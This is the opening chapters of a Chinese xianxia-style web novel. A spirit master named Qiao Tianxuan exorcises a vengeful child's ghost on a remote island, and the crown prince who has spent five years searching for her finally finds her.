《灵师天璇》 1. 仙落岛上(一) 在敌国当质子的太子陈渊龙回宫了。 可当初太子去敌国时伴在他身旁的那个世家之女乔天璇却不见了踪影。 朝中众臣看着面色凝重,只身一人一步一步缓缓走进了大殿中的太子,莫名感觉到了一股森然寒意。 不久后,坊间关于乔天璇的传闻不胫而走,以讹传讹。 “听说乔天璇死了!” “啊?死了?” “乔天璇?那不是当年七大世家之一的乔家女吗?” “是啊,后来她被太子指定为了贴身侍女,这怎么就死了啊?” “朔风国闹瘟疫,依我看啊,她肯定是因为瘟疫死了!” “……” 九宸国与朔风国向来水火不容,就在战争一触即发之时,朔风国被一场突如其来的瘟疫灭了国。 不战而胜,九宸国宫中大摆筵席庆祝了整整三天三夜,举国上下都在放烟火爆竹欢庆。 众人皆喜两年前被送到朔风国当质子的太子陈渊龙终于回到了九宸国。 而两年前随太子一起去了朔风国的乔天璇则被推上了舆论的风口浪尖。 毕竟这乔天璇也算得上是一名奇女子了。 当年乔天璇犯下欺君之罪后,皇上当即就要下令处死乔天璇,却不曾想被即将前往朔风国当质子的太子陈渊龙力保。 太子陈渊龙硬是要让乔天璇当自己的贴身侍女。 皇上大概是觉得在敌国给质子当侍女的人定然是活不长的,而且在死之前肯定还会受不少活罪,便欣然同意了。 在这之后,陈渊龙与乔天璇一同作为“和平”的条件前往了敌国,乔天璇也得以保全了性命。 此事后来一直被众人议论纷纷。 想来也不奇怪,欺君之罪可是死罪,在犯了这样的罪后还能活着的到底是个什么样的女子呢? 有人猜测乔天璇老早就跟太子陈渊龙有一腿。 也有人猜测乔天璇其实就是个女妖,能够控制人的心智,当年她其实是控制了皇上的心智才得以保住了一条小命。 不过这都已经是旧事了。 当下,百姓们都在为太子的回归感到高兴。 “太子这一去就是两年,还好朔风国被瘟疫灭了国!” “也不知太子遇到了什么高人,竟被那高人从朔风国救了出来,真是大难不死啊!” “只可惜陪同太子一起去了朔风国的乔天璇就……” “啧啧啧,乔家早已被灭门,她死估计也是迟早的事儿。” “算了算了,不提她了。反正太子回来了就好,这可是天大的喜事啊!” “就是就是,太子终于回宫了,一定高兴坏了吧?” “那是当然的啊,哈哈哈哈哈哈……” 然而,世人不知的是,太子在回宫之后一直郁郁寡欢。 之后的日子里,太子不断地派人四处寻找乔天璇的下落。 一年过去了。 太子没有寻到乔天璇的下落。 两年过去了。 太子还是没有寻到乔天璇的下落。 三年过去了。 太子依旧没有寻到乔天璇的下落。 第四年的时候,有人劝太子放弃。 那人劝道:“太子殿下,朔风国已经亡国四年了,乔天璇肯定也已经随着朔风国的灭亡化成灰了。” 闻言,太子狠狠地踹了那人一脚。 那人疼得嗷嗷直叫。 第五年,乔天璇仍然下落不明。 太子执意要亲自出宫去寻乔天璇。 有人说太子已经疯了。 也有人说太子可能陷入了幻境之中。 更有人说太子怕不是中了邪。 太子始终不相信乔天璇已经死了。 他总是叨念着:“她没死,她只是被一个蒙面高人带走了,带到了很远很远的一座岛上,只要我寻到了这座岛,我便能寻到她了。” * 仙落岛,风轻云净,鸟语花香。 乔天璇看准了时机,一扯手中的线,线的另一头绑着的一根小树枝便从一顶在地上充当捕鸟陷阱的黑色斗笠中被抽了出来。 把斗笠给支撑起一角的小树枝没了,斗笠忽地落下,困住了惊慌失措的鸟鸣声。 大功告成! 乔天璇心中暗喜。 终于捉到这只偷吃了自己的零嘴之后逃之夭夭的鸟儿了! 她从粗壮的树干后钻出了身子,一步一步走向困住了鸟儿的斗笠。 “叽叽咕!叽叽咕!” 被困在斗笠中的鸟儿把斗笠拱来拱去,翅膀不断地发出慌乱的扑棱声。 “别挣扎了,小雀儿,你是逃不掉的。” 乔天璇一脸坏笑地走到了斗笠前蹲了下来,压低了身子,偏着头,用手微微掀开了扣在地上的斗笠一条缝,心中盘算着该如此惩治这只偷吃了自己零嘴的鸟儿。 “啊啊啊啊啊啊天璇姐姐!天璇姐姐!不好了!啊啊啊不好了!!!” 突然响起的喊叫声让乔天璇手上的动作猛地一抖,把斗笠掀开的缝开大了。 “叽叽叽叽咕!” 被困在斗笠中的鸟儿连滚带爬挤出了斗笠开大了的缝,“嗖”一下展翅飞向了天空,留下一大串劫后余生的鸣叫声。 瞧着刚逮到的鸟儿就这么扑棱着飞走了,乔天璇心中怒气横生。 她转头望向了喊叫声传来的地方,满脸无奈。 “阿蕊!都说了不要总是这么咋咋呼呼的!我的鸟儿都让你给吓飞了!” 那个被称作阿蕊的少女此刻正气喘嘘嘘地看着乔天璇。 她身着一袭鹅黄色的衣裙,额前碎发凌乱,弯着腰,双手撑在双膝上,看样子是刚刚飞跑着来找乔天璇的。 “对、对不起,天璇姐姐。不、不好了!碧海村的田金娥出事了!她的弟弟求我来找天璇姐姐去救她!” “找我救人?”乔天璇猜测道:“中邪了?” “对啊对啊!天璇姐姐是灵师嘛,田金娥好像说是被恶灵入体了,情况不好得很!” 乔天璇刚失了捕到的鸟,心情很是不悦。 而间接让她失了鸟的正是这有求于她的田金娥。 既是有求于人,却让被求的人心情不悦,这实在是说不过去。 乔天璇看着眼前还在“哼哧哼哧”喘着气的少女,淡淡道:“阿蕊,你是知道的。钱不到位的事情,我是不会干的。” “钱……有!有钱!”阿蕊赶紧从自己怀里掏出来了一个大大的钱袋,快步走到了乔天璇的面前把钱递给了她,语气急促道:“田金娥的弟弟破天荒出了十两银子,天璇姐姐可以数数。” “哦?是嘛?”乔天璇眼前一亮,连忙伸手接过了钱袋,顿时感觉手中一沉。 她眼疾手快地查看了一下钱袋中的钱,的确是分毫不差的十两银子。 “走,现在就带我去田金娥那儿,她的事儿包在我身上。”乔天璇边信心十足地说着,边把钱袋塞进了自己怀中。 “好!天璇姐姐快跟我来!” 说着,阿蕊转身朝碧海村的方向去了。 碧海村是仙落岛上的其中一个村子。 乔天璇拿起地上的斗笠拍了拍上面的灰尘,将其熟练地背在了背上,快步跟上了身前的阿蕊。 五年前,洛侠将天璇从朔风国救了出来。十二岁的她遭奸人所虐,昏迷不醒,高烧不退。而后,洛侠带她来到了这座岛上。烧退后,她忘却了所有关于自己在朔风国发生的事情,并暂且随着洛侠姓了洛。 当时,洛侠听闻这座岛上出现了一只吃人的妖物,便与那妖物恶斗了一番。最终把妖物封印在了仙落岛中心的一处地底下,让岛上的村民们重新过上了安宁的生活。 洛侠也因此事被岛上的村民们奉为了“灭妖仙人”。 他们还专门为洛侠建造了一座房子,时不时就会来登门拜访送些野味果蔬,就跟供活神仙似的。 洛侠大概是喜欢上了仙落岛的美景和民风,便与乔天璇在此处住下了。 阿蕊则是乔天璇在仙落岛上交到的第一个朋友,也是乔天璇最要好的一个朋友。她名唤花蕊,因为大家平时都唤她阿蕊,所以乔天璇便也唤她阿蕊了。 “天璇姐姐!到了到了!” 此时,花蕊已经带着乔天璇来到了碧海村田金娥的住处。 院子的门大开着,一眼瞧进院子里去只见一片狼藉。 屋内不断地传出女人惊恐的哭喊声,以及男人无奈的安慰声。 “天璇姐姐……”花蕊慢慢停下了脚步,转身望向了跟着她身后的乔天璇。等乔天璇走到了她的身前之后才重新迈开步子,跟在了乔天璇的身后。 “不怕。”乔天璇看了花蕊一眼,挑了挑一边的眉,大步走进了院子里, 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乔天璇走到了榻边,刚准备蹲下仔细瞅瞅田金娥,却不料田金娥竟像恶狼咬人一样的动作猛地一口咬向了乔天璇。 “哎哎哎哎干嘛呢?!”乔天璇赶忙往后一躲,让田金娥咬了个空。 “姐!姐!这是灵师啊!专门来给你驱走体内恶灵的!”田金娥的弟弟慌忙对着自己姐姐大声解释。 “……呜呜呜啊啊啊哇哇哇哇哇哇哇哇——” 田金娥却突然大哭大喊了起来,拼命扭动挣扎着。 好在田金娥的双手双脚被绳子给绑了起来,没法子站起身来继续咬人。乔天璇松了一口气,望向了围在一旁的人,问道:“她是怎么变成这个样子的?” 那对年纪尚小的兄妹互相对视了一眼,约莫十岁出头的哥哥看向了乔天璇,道:“几日前,我和伙伴们一起去河里玩水的时候,我发现桥下面的水中有一只手在跟我挥手。当时我还以为是其中一个小伙伴在招呼我过去,我便游过去了。结果我刚一和那只手击掌,那只手便碎掉了。我仔细一瞧,才发现那是一具已经被泡烂了小孩尸体。尸体被水流冲着,手随着水流摇晃着就像是在跟人挥手一样……” “唉,吓死个人了。”一旁的老妪连连摇着头喃喃道。 哥哥继续道:“那天夜里,我因此事睡不着觉。到了后半夜我迷迷糊糊的时候发现身旁睡着的妹妹被一缕黑红色的烟入了体,紧接着妹妹就睁开了眼,要来掐我。当时妹妹的力气奇大无比,我一点儿也挣不开。就在她掐得我感觉快要死了的时候,我突然就醒了过来,发现妹妹正跪在我的身旁‘咯咯咯咯’地看着我笑,十分吓人。于是翌日我就去找了对鬼神方面有探究的田嫂嫂。结果田嫂嫂把妹妹给抱起来后,妹妹就猛地一口咬在了田嫂嫂的脖子上。田嫂嫂当即就被吓跑了。再然后……我的妹妹就好了,田嫂嫂就变成现在这个样了。” “原来如此。河中桥下,溺死,怨灵,附体。这怨灵怕是个红煞,我得摆个阵来处理才行。” 说罢,乔天璇便从腰间的黑色乾坤袋中掏出了十几张符摆在了榻边。 她边摆边对着一旁的众人道:“你们赶快离开这地儿,离得越远越好!” “好!马上!走走走!”花蕊连忙带着众人离开。 乔天璇又拿出四张符来到院中,将符分别贴在了院中的东南西北四个角。 待到一切都搞定了之后,乔天璇回到了屋内榻前,直直地看着眼前的田金娥,举起了自己的右手手臂。 层层袖子悉数滑落,只见乔天璇的手臂上贴满了黄底红字的符。 她五指张开,手臂上贴着的符在一瞬间全都释放出了灵光呈鲜红色的灵力,充斥着整个房间。 “阵启!” 霎时间,田金娥在这片鲜红色的灵光下爆发出了一阵可怖的哭叫声。 然而下一刻,田金娥竟不合常理地挣爆了绑着她双手双脚的绳子! “怎会如此?!”乔天璇大惊。 在这种阵法之下,田金娥体内的恶灵只会被活生生逼出来后在灵力中被撕碎,而不是让被附体者的力量暴涨! “嘎啦……” 听到院子里传来的声音,乔天璇立马就明白了这是怎么一回事。 该死,有人走进了院子里,破了阵! 2. 仙落岛上(二) “混账!在这种紧要关头……到底是谁啊?!” 眼看着田金娥就要扑向自己,乔天璇只好先往后躲。 她气愤地转头望向了院子的方向,一眼就瞧见了屋门口站着一个身形欣长的黑衣男子。 此刻,黑衣男子正好与乔天璇对视上了。 这黑衣男子相貌清冷,凤眸剑眉,肤色白皙,整个人看起来一尘不染,寒冰冷霜,眼神中似乎还藏有一股若隐若现的肃杀之气。 “啊呜!啊呜!!!” 受到恶灵的控制,田金娥完全失去了自我意识。她赤红着双眼,整个人像只恶狼一样扑上来就要咬乔天璇。 “疯子?姑娘小心!” 黑衣男子当即冲着乔天璇奔了过来。 就在被恶灵完全控制了的田金娥即将要扑到乔天璇跟前时,黑衣男子猛地使出一掌,将已经疯魔了的田金娥拍倒在了地上。 乔天璇看着眼前对田金娥出了重重一掌的黑衣男子,心中一凉。 完了完了,这种情况她以前可从来都没有遇到过啊! 摔倒在地的田金娥愣了一瞬。 下一刻,她忽然直接在地上抱头痛哭了起来。 “呜呜呜呜我错了,我不应该骗你,我不应该吃你的呜呜呜呜……我错了呜呜呜呜呜……” “啊?”乔天璇见地上的田金娥活像是被自己给欺负了一样,倒显得自己像个坏人了。 见状,黑衣男子也愣住了。 他看了看田金娥,又看了看乔天璇,眉头微蹙。 此时,田金娥抱着头,边痛苦地哭喊着边摇摇晃晃地站起了身。 乔天璇的目光死死地注视着她。 现在阵已经被黑衣男子给无意间破坏掉了,乔天璇生怕田金娥体内的恶灵再搞出点什么幺蛾子来。 “……呜呜呜呜我错了我错了呜呜呜……我真的、真的错了呜呜呜呜呜……” 地上的田金娥就一直这么抱头呜咽着,乔天璇心生一丝无奈。 这算个什么事儿? 一会儿恶狠狠地咬人,一会儿哭哭啼啼的。大概就像刚刚那对兄妹中的哥哥所说的,这是一个小孩尸体里的灵。许多年幼的孩子就是这么喜怒无常的,更何况眼前的这位已经成了恶灵。 既然都到了这个份儿上了,那就试试“好言相劝”,先让其冷静一下吧。 乔天璇双手掐起了诀,召出一道呈锁链状的红色灵链猛地飞向了田金娥,将她的脑袋如金箍那般捆了起来。 田金娥方才被黑衣男子重重拍了一掌,摔得够呛,估计身子摔疼了还没有恢复过来。她来不及躲,直接就中了招,当即浑身颤抖,难受得仰起了头。 她体内的恶灵借她的嘴大喊了起来:“啊啊啊啊啊啊杀了她!杀了她!杀了她啊!!!” 乔天璇双手紧握捆着田金娥脑袋那条灵链的各一头,冷静道:“你想要杀谁?” 恶灵咬牙切齿道:“田!金!娥!” 乔天璇道:“为何?” 恶灵道:“她骗了我!她杀了我!” 乔天璇心中一怔。 这么巧? 原来那个在桥底下的河水中溺死的小孩是被田金娥给害死的?之后这恶灵兜兜转转碰巧找上了田金娥? 如此说来,那她刚刚哭哭啼啼说自己错了的,许是因为黑衣男子的那一掌让田金娥暂时重新占据了自己身子的主导权,她在苦苦哀求这恶灵原谅她? “天璇姐姐!天璇姐姐!你没事吧?!” 是花蕊的声音。 乔天璇往屋门口瞅了一眼,发现花蕊带着大家跑回来了。 “我感觉到天璇姐姐这边出了岔子之后就马上折返回来帮忙了!”花蕊指着黑衣男子道:“是他对不对?是他把你的阵给破坏掉了对不对?!” “嗯。”乔天璇点了点头。 花蕊十分不满黑衣男子,她嫌弃地看着他道:“哼!混蛋!都怪你,把还算好办的事情都给变得棘手了!还不赶快离我的天璇姐姐远一些!” 闻言,黑衣男子默默退至乔天璇的身后,与乔天璇保持了三尺的距离。 田金娥的弟弟见到自己的姐姐被红色的灵链捆住了脑袋,当即对着乔天璇喊道:“灵师!你这是在对我姐作甚?我姐不会有事吧?” 乔天璇道:“看她造化。” 那对年纪尚小的兄妹见到了眼前的一幕,两个人都呆住了。 那对夫妻和老妪的眼中则满是惊恐。 乔天璇继续看向被恶灵附体了的田金娥,问道:“她如何骗的你?如何杀的你?” 恶灵暴怒道:“田金娥不单止骗了我,她还骗了我的爹娘!她骗我们说我的身子不好,需要我和她一起修行到十八岁才能在之后的日子里活下来。她收了我爹娘给的她感谢费,结果她只养了我半年就把我的心当作药引子入了药,把我的心给吃了!” “这、这怎么可能……”田金娥的弟弟满脸不可置信。 恶灵用田金娥的身子望向了田金娥的弟弟,冷冷道:“我知道你,你是田金娥的弟弟,我们之前见过一面。你平时和你的妻儿住在一起,又不和你姐住一起,你当然不知道有这回事儿。” “我姐怎么可能会做这样的事情?不可能、不可能的……”田金娥的弟弟看起来都快要哭了。 恶灵勃然大怒:“有什么是不可能的?!有!有的!就是会有的!” 顿时,乔天璇感觉手中的灵链不受自己控制地抖动了起来。 不好,没有阵的加持,光靠灵力硬来根本没法完全控制得了红煞! 小孩的念力通常比大人的要强,他们在做一件事情的时候顾及到的后果往往会比大人要少,因此也会更加专心致志,毫无杂念,不计后果的一定要去做成某件事情。而当一个小孩的魂魄在成了恶灵之后,这种念力会呈数倍增长,形成极强的煞。 “田金娥这个寡妇根本就不配当人!我要报仇!我要她死!死!!!” 随着恶灵吼出的这句话,紧紧捆着恶灵的灵链在一瞬间碎成了粉末,消失殆尽。 乔天璇紧握着灵链的双手忽地一空,差点没有站稳。 身后的黑衣男子赶紧一把扶住了险些摔跤的乔天璇。 “多……谢。”乔天璇下意识给帮了自己的人道谢。 地上那恶灵操控着田金娥的身子,猛然起身跑到了梳妆台边,摸到一根长长的簪子。 不好! 乔天璇心头一紧,一霎那间便预感到接下来定是要见血了。 果然,那恶灵一拿起簪子就毫不犹豫地狠狠刺穿了自己的喉咙! 一时间,鲜血飞溅。 在场的所有人都在这一刻呆住了。 “啊呀——”年纪尚小的兄妹二人倒是先在一瞬的呆愣之后被这可怕的画面给吓得尖叫起来。 “不看不看,乖宝儿,我们不看啊。”那对夫妻想必是兄妹二人的爹娘,他们赶紧一人捂上了一个孩子的双眼。 “哎呦,造孽啊。啧啧啧啧……”老妪神色复杂地摇着头,额上的皱纹蹙得更深了。 “……姐!姐!!!”田金娥的弟弟在愣了一瞬之后才反应过来,他立马惊恐地跑向了田金娥。 “扑通!” 田金娥身子颤颤摇晃了几下后便重重倒在了地上,死不瞑目。 鲜血从嘴角和喉咙的伤口处不断地涌出,染了一地的红。 “姐!姐啊……” 乔天璇看着眼前弟弟抱着死去的姐姐悲痛不已的画面,长长叹了一口气。 这一切都发生的太过突然了,乔天璇一时不知是该说田金娥死得罪有应得,还是该先安慰田金娥的弟弟。 与此同时,乔天璇清晰地感觉到红煞的气息伴随着田金娥灵魂的消散也一同消散了。 黑衣男子缓缓松开了扶着乔天璇的手,乔天璇这才注意到刚刚一时太紧张了,竟没有发现黑衣男子一直在扶着自己。 想到刚刚他破坏掉了阵,却又扶了自己一把,算是两清了。而且除掉恶灵的过程 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乔天璇思索道:“所以说,桥下的小孩尸体是被田金娥挖了心之后抛尸的,并不是溺死。” 老妪点了点头:“对,应当就是这样的。” 乔天璇了然:“那看来田金娥这屋子就是那孩子一开始死去的地方。他在自己被害死的地方给自己报了仇,也算是给自己解气了。” “哎呀,那我得赶紧离开这破地方才行。发生了这种事情,这地方肯定邪门死了。 说着,老妪望向了田金娥的弟弟。 “女婿,你赶紧安葬好你姐,我得回去准备柚子叶烧水了。你回家后进门之前必须得要用烧好的柚子叶水洗手洗脚,然后再去洗澡,免得把晦气给带回家。” 也不等田金娥的弟弟回答,老妪便转身离开了此处。边离开时嘴里还边碎碎念叨着。 那对兄妹和夫妻见老妪离开了,四个人转头互相对视着,神色都有些惶惶不安。 夫妻中的丈夫对乔天璇道:“灵师,我们的孩子在这种地方待太久了不好。那我们也走了啊。” 乔天璇点了点头:“嗯,走吧。” 眼看一屋子的人一下子走了五个,还站在屋门口的花蕊道:“天璇姐姐,这个田金娥死得不冤,咱们既然已经把恶灵给驱没了,那我们也赶快离开这儿吧。” 乔天璇瞅了瞅田金娥的弟弟,有些无奈:“恶灵寻仇,斯人已逝,节哀。那……我们走了。” “嗯。”田金色娥的弟弟哭得泪流满面,双目无神地轻轻点了一下头。 “走走走!”花蕊赶紧上前来拉乔天璇,迫不及待地离开了屋子。 乔天璇顺着花蕊,一路走到了碧海村的村道上。 走了片刻之后,乔天璇有些疑惑:“阿蕊,你要带我去哪儿?” 花蕊毫不犹疑道:“去隔壁碧云村,去告诉那个被田金娥吃了心的小孩的爹娘那儿,一定要告诉他们这件事情。” “好。”乔天璇明白了。 得让受害人的亲人知道受害人和害人者的事情才行,不能让受害人的亲人一直被蒙在鼓里。 不过…… 乔天璇猛地回头,望向了身后的黑衣男子。 “你从刚刚开始就一直在跟着我们,是刚好与我们同路还是想要作甚?” “哎?”花蕊也赶忙望向了身后,看到那黑衣男子一直跟在自己与乔天璇后方三十尺的地方。 乔天璇刚开始并没有怎么多想,以为黑衣男子是恰好与自己同路。可都走了好一会儿了,这黑衣男子还紧紧地跟在后面,乔天璇不由得起了疑心。 她站定了,盯着黑衣男子的双眼,语气中不带一丝友好的感情:“我们好像不熟吧?” 花蕊也跟着乔天璇一起站定了,附和道:“就是就是!不熟!” 黑衣男子脚下步子骤然一停,面上神色一愣:“不熟?” 乔天璇理所当然道:“对啊,不熟。我们之前有见过面吗?” 3. 仙落岛上(三) “姑娘,你叫……天璇,对吧?”黑衣男子的语气不知为何有些发颤。 “嗯。对,如何?”乔天璇感觉眼前这个黑衣男子莫名其妙的。 不过话说回来,他是怎么知道自己叫天璇的?是因为听到了花蕊唤自己“天璇姐姐”吗? 黑衣男子的眼神中似是闪过一丝跳脱的流光,与他的冷面寒霜格格不入。 他目不转睛地看着乔天璇,郑重地拱手行礼道:“在下陈渊龙。” 陈氏?当今的皇族?陈,渊,龙? 乔天璇心中似乎是有什么久远的回忆在如汹涌的潮水般涌来。 仔细一瞧,眼前的男人眉眼倒是与他小时候有几分相似。但当时毕竟是小孩,与今日成年男子的样貌不可比。 怎么会是他啊??? 乔天璇没声好气道:“我叫洛天璇。” “洛?”陈渊龙眼神中带着跳脱流光的情绪忽地一滞。 乔天璇感觉眼前的人似是失魂落魄了一瞬。 但也仅仅是一瞬而已。 陈渊龙依旧直直地注视着乔天璇,搞得乔天璇心中只想赶紧原地化作一粒肉眼不可见的尘埃,好让这人无处可盯。 皇家的人不是应该在皇宫里好好待着当他身份尊贵的太子吗?! 而且……他到底是怎么找到仙落岛的啊? 仙落岛这么一个几乎与世隔绝的地方,四面皆是茫茫大海,鲜有探险之人前来。陈渊龙是在皇宫里闲出屁了才会脑子一抽,一拍脑门儿跑到这地方来探险了吧! 乔天璇根本没法子想象。 眼前人的目光像是黏在了自己的身上,不打算移开了。 乔天璇感觉自己的脑子都要炸开来了。 陈渊龙旧时与乔天璇的关系并不算很好。 两人在相处久了之后关系虽然有所磨合,但奈何陈渊龙这位太子实在是太过沉默寡言,严以律己,旁人光是瞧着他就不敢上前去叨扰。要不是他那张俊脸实在是好看得紧,乔天璇怕是也不会去主动与他说话。 而乔天璇则是个闲不住的人,尤其喜欢搞些与众不同的玩意儿,每次都能让人大开眼界。 她感觉自己每回和陈渊龙说话时都有那种在逗弄冷漠高位之人后体会到的渎神刺激感,于是她便总是一次又一次地去重蹈覆辙。 “喂,你一直看着天璇姐姐作甚?我们要走了哦。”花蕊拉了拉乔天璇的手,示意她走。 陈渊龙道:“不知可否与二位姑娘同行?” 花蕊语气中满是不屑:“呀?你还想要与我们同行?” “我……” “走走走!天璇姐姐,不管他了!走啦,我们快走!” 不等陈渊龙把话说完,花蕊便扯着乔天璇继续往前走了。 “哎哎哎阿蕊……慢慢慢慢、慢点!” 花蕊天生力大,乔天璇毫无防备一下子就被花蕊给拽走了。 为了不摔个大跟头,乔天璇只好顺着花蕊,和她一起快步往碧云村的方向走了去。 乔天璇其实挺庆幸花蕊硬是把自己给拽走了。 这样一来就避免了和陈渊龙的一些交流。 多年不见的人突然相见,总是会有些莫名的尴尬。更何况这人旧时还与自己有仇! 见乔天璇往前去了,陈渊龙赶紧跟了上来。 碧海村与碧云村离得并不算远,三人走过了一大片杂草混杂其中的蒲公英花田便来到了碧云村。 由于三人都是在以赶路的步伐行走,三人在走过花田时,大片的白色蒲公英被撞得四散纷飞,不少散了的蒲公英落在三人的头发和衣服上。 乔天璇往自己一边的眼睛上轻轻吹了一口气,吹掉了落在眼睫上的一缕白色蒲公英。 她望向了花蕊:“阿蕊,你知道那个死了的孩子他家人住哪儿吗?” “啊?这个……我不知道啊。”花蕊挠了挠头。 乔天璇:“……” 算了,还是向村里的人打听打听吧。 三人走进了碧云村的村道,乔天璇四下瞅了瞅,瞧见不远处有一位老翁正闭着眼,坐在自家院门口的台阶上抽着长长的烟斗,吞云吐雾。 年长之人想必应当是知晓很多事情的,乔天璇赶紧走上前去问道:“爷爷,我想向您打听一下,碧云村里有对把自己那据说是活不过十八的孩子送到了碧海村田金娥那儿的父母住在哪儿啊?” 老翁的口鼻中喷出了团团白烟,他微微睁眼,声色沙哑道:“活不过十八啊?哦……知道了。灵师说的那可怜孩子的父母在五个月前出海捕鱼之后就再也没有回来过了,你现在去他们住的地方可找不到他们。” “啊?”乔天璇一愣:“那他们是生是死有人知晓吗?” 老翁摇了摇头:“都五个月了,谁会晓得?” 一旁的花蕊恼了:“这岂不是等于这一家子人都死完了?” 老翁神色一顿:“他们的孩子在神婆田金娥那儿也没能活下来吗?” 花蕊烦躁道:“什么神婆啊!她分明就是个怪人!她把那孩子的心给当作药引子入了药,吃了!” “吃了?!”老翁登时双眼大睁,满眼不可思议。 乔天璇无奈:“是,被田金娥吃了。不过那个被吃了心的可怜孩子变成了恶灵,与田金娥同归于尽了。日后谁家要是出了再什么神神怪怪的事情也不必去找那个神婆了,她已经死了。” “哎哟!这可是天大的事情哦,老夫得去和大伙儿说说才行了!” 说罢,老翁竟利索地站起了身,颤颤巍巍地往旁边的一户人家走了去。 乔天璇清楚,老翁怕是要一家一户把这事情给传开来。 村里的事情无论大小,都是这么一家一户传开来的。小的事情到谁家的孩子徒手捏死了一只大虫子,大的事情到谁家的丈夫同时与好几个妇人好上了。总之,这样传递事情的方式在村里面十分寻常。 现在被吃了心的小孩家里人一时半会儿下落不明,告诉他们孩子死了的事情也办不到了。 花蕊垂头丧气道:“真是的,白来一趟!” 乔天璇闻到不远处飘来了一阵鰇鱼干的味道,神色微沉,道:“不,没有白来一趟。阿蕊,你闻到了吗?” 花蕊吸了吸鼻子,当即兴奋道:“是鰇鱼干的味道!好香!” 乔天璇道:“话说我们都已经好久没有一起去看过怀风兄了,他特别喜欢吃鰇鱼干,我们买些鰇鱼干去看看他吧。” “好。”花蕊点了点头。 两人循着鰇鱼干的味道,一路走到了碧云村中的小集市中。 这小集市相当得小,但卖的东西品类却不少。 乔天璇闻着味道,一下子就看到了卖鰇鱼干的摊主在哪个位置。 两人来到了摊主的面前,乔天璇指了指几条鰇鱼干,道:“就要这几个。” “好嘞。”摊主赶紧把几条鰇鱼干拿来给了乔天璇。 付过钱后,乔天璇便带着花蕊往师父洛侠住的地方走了去。 那地方并不在仙落岛中的哪个村里,而是在岛上的一处桃花林中。 最初,岛上的人认为能够降住妖物的仙人理应住在漂亮的桃花林中,于是就把供给洛侠住的房子建在桃花林中了。 从那以后,乔天璇就在桃花林中与师父洛侠一同生活了五年,对整片桃花林熟悉得很。 “喂!你还要一直这样跟着我们吗?”花蕊突然回过头看着一直跟在两人身后三十尺处的陈渊龙。 陈渊龙被花蕊突如其来的问话吓了一跳。片刻后他才道:“在下前来岛上寻人,望能有个向导。” 花蕊语气十分不耐烦:“你寻人关我们什么事?还想要向导?你知道嘛,每隔几年就会有三三两两在海上迷失方向的野人流落到我们仙落岛上。他们之中有的人觉得这地儿好,便在这里随便找一个村子安家了。你要寻的人兴许就在哪个村子里住着,你去村子里找人问问不就行了?” 陈渊龙沉默不语。 乔天璇回头一望,见陈渊龙正看着自己。 这家伙该不会是认出自己就是乔天璇了吧? ……不,自己这些年来的变化还是蛮大的,他应该没能看出来自己是乔天璇。 “算啦算啦,他跟着就跟着呗。之前不也有来探险的人因为害怕自己走着 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花蕊则一下子蹲在了墓碑旁,摸了摸墓碑的一角,埋怨似的喃喃道:“小风子,你走了快有一年时间了,你在那边有没有想念我们?咱们三侠行客没了你,就只剩下两个人了。这可一点儿都不好玩儿。之前咱们一起离开仙落岛去追寻镇玉的那段日子我可是历历在目,我永远都忘不了咱们三侠行客闯荡江湖的那段日子。” 也不知祝怀风的残魂是不是听到了这些话,桃林中的风忽地刮起,吹拂着好几片残落的桃花花瓣轻轻略过乔天璇与花蕊的脸庞。 “是你吗?小风子!你听到了吗?!”花蕊两眼放光,转头望向了风吹来的方向。 乔天璇也随着花蕊望了过去,却见风吹来的方向站着陈渊龙。 风停了,花瓣也落下了。 陈渊龙刚刚就这么一直默默地看着乔天璇,目光不曾有片刻离开。 乔天璇慢慢地站起了身,不知该对眼前的陈渊龙说些什么。 陈渊龙一步步走向了乔天璇,来到了墓碑前。 他的目光落在了墓碑上,语气冰冷道:“此人是三侠行客当中的那个男子?” 乔天璇道:“对。” 陈渊龙的目光又落在了刚刚乔天璇放在墓碑旁边的鰇鱼干上,眼中不知是什么情绪在暗波流动。 此前,乔天璇的师父洛侠用来封印岛上妖物的镇玉在一年前被一帮来到岛上探险的盗墓贼盗走。在发现封印的异样之后,乔天璇、花蕊、祝怀风三人便分别化名为云天、玉心、风筝,一齐追着那帮盗墓贼的踪迹出了仙落岛,一路追了许久,费了九牛二虎之力才把镇玉给追了回来,重新让洛侠用镇玉封印了妖物。 这一路上,三人一边行侠仗义一边追寻那帮盗墓贼的行踪,在江湖中留下了三侠行客的名号和事迹被广为流传。 而留在仙落岛上的洛侠则用加持了自己法力的灵钟暂时压制着妖物,一直强撑到三侠行客把专门用来封印妖物的镇玉给追回。灵钟才终于脱离了苦海,四分五裂炸了开来。 然而,祝怀风在回到仙落岛上之后不久才发现自己在冒险途中已经中了慢性毒,毒发的时间会延迟。 那日,祝怀风七窍流血倒在乔天璇的怀中渐渐没有了气息。一旁是早已哭成了泪人的花蕊。 乔天璇回想起来,觉得祝怀风应该是替自己挡了刀,伤口中了那帮盗墓贼在刀上涂的慢性毒。而本该中毒的人,是自己。 见陈渊龙盯着鰇鱼干看,乔天璇疑惑道:“陈公子,你莫不是想吃鰇鱼干?” 花蕊猛然站起身来,对着陈渊龙认真道:“这可不是你能吃的!这是专门买给小风子吃的。要想吃的话,自己去买!” 陈渊龙默默地看了一眼墓碑,目光落到了乔天璇的身上。 “天璇姑娘,你一直生活在此处吗?” 乔天璇知道陈渊龙怀疑自己,他在套话,便随意地回应道:“陌生人,我为何要告诉你?你猜。” “……” 微风轻拂两人的发丝。 陈渊龙注视着乔天璇的眼神依旧不变。 “璇儿,回家吃为师刚给你做的点心……嗯?” 乔天璇下意识望向了院子门口处传来声音的方向,见到一袭白衣的师父洛侠正看着自己这边三人。 4. 仙落岛上(四) “哎!师父,来了!”乔天璇立马往洛侠的方向快步赶去。 花蕊赶紧跟上了乔天璇。 洛侠清楚花蕊是乔天璇最要好的朋友,并未对其阻拦,任由她与乔天璇一同入了屋内。 待乔天璇拿起屋内桌上盘子中的一块点心往嘴里塞时,她分出了点目光看向了门口处。 只见陈渊龙正小心翼翼地与站在门框旁的洛侠对视。 洛侠道:“小友是?” 陈渊龙从怀中拿出了一块令牌,道:“在下九宸国太子陈渊龙。不知兄台如何称呼?” 洛侠一愣,连忙行礼,拱手道:“太子殿下唤我为洛兄就行。太子殿下怎么来此地了?” 陈渊龙立马去扶洛侠:“洛兄不必多礼,你既是天璇姑娘的师父,那我们便是一家人。” “一家人?!”乔天璇差点没把嘴里面吃着的点心给喷出来。 “嗯?!”花蕊猛地转头看向了门口处的陈渊龙,满眼疑惑,眉毛都被惊成了高低眉,咬着点心的嘴巴也一下子定住了。 “太子殿下这是何意?”洛侠不解。 